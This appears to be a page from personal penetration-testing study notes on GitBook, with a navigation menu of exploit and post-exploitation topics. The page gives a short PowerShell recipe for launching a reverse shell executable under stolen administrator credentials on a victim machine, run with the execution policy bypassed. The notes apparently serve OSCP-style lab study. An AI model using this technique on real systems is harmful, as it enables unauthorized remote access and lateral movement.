messy security notes
  • security is an illision
  • Useful Blog Links
  • Windows
    • ad-101
    • MS17-010
    • SMB
    • Post Exploitation Tricks
    • DCOM/RPC
    • Basic Commands
    • SMB Enumeration
  • Linux
    • SUID Set Edilmiş servicectl Abuse Etme
    • sudoers dosyası bozulursa?
    • SSH Welcome Message and Banner
    • pkexec ve pkttyagent
    • vipw , vigr , visudo
    • IP Forwarding
    • İki NIC Arasında Port Yönlendirme
    • tasksel
    • LAMP
    • Find All SUID Bit
    • Linux Operatorler
    • IFS
    • Ssh Public Key Tricks
    • Local & Remote Port Forwarding
    • Linux Priv Esc
    • Static IP
  • POST EXPLOITATION
    • from external network to domain admin
    • post exp 2
  • OSCP
  • Temel Komutlar ve Araçlar
  • Zayıf Servisler
  • Örnek Bir Senaryo
  • Parola Saldırıları
  • ms17-010 python exploit
  • Full Interactive Shell
  • Notes*
  • Apache James Server 2.3.2 Exploit
  • windows exploit suggester
  • FreeBsd and Some PHP tricks
  • fundamental blog
  • Metasoloit & Meterpreter & msfvenom
  • at-tftp server 1.9
  • Tunneling and Forwarding
  • Common Exploits
  • Windows Servisler
  • Execute process as another user
  • Teorik
    • Authentication and Authorization
    • Kullanıcı Hesap Türleri ve Hakları
    • Kerberos
  • SYSTEM
    • Apache2
    • Bind9 Log
    • apache - basic auth - proxy
  • Buffer Overflow - BOF
    • BOF - Stack Based
    • BoF Links
  • BASH SCRIPTING
    • Samples
  • keepnote
  • Docker
    • Docker
  • Misc
    • 50-cloud-init.yaml
Powered by GitBook
On this page

Was this helpful?

Execute process as another user

+ Execute process as another user (with credentials)

  1. Create a ps1 file e.g. run.ps1 with powershell commands as below:

    $secpasswd = ConvertTo-SecureString "<admin_pass_clear_text>" -AsPlainText -Force
    $mycreds = New-Object System.Management.Automation.PSCredential ("<Admin_username>", $secpasswd)
    $computer = "<COMPUTER_NAME>"
    [System.Diagnostics.Process]::Start("C:/users/public/<reverse_shell.exe>","", $mycreds.Username, mycreds.Password, $computer)
  2. Upload run.ps1 to victim's machine

  3. Execute powershell command:

    powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1
PreviousWindows ServislerNextAuthentication and Authorization

Last updated 5 years ago

Was this helpful?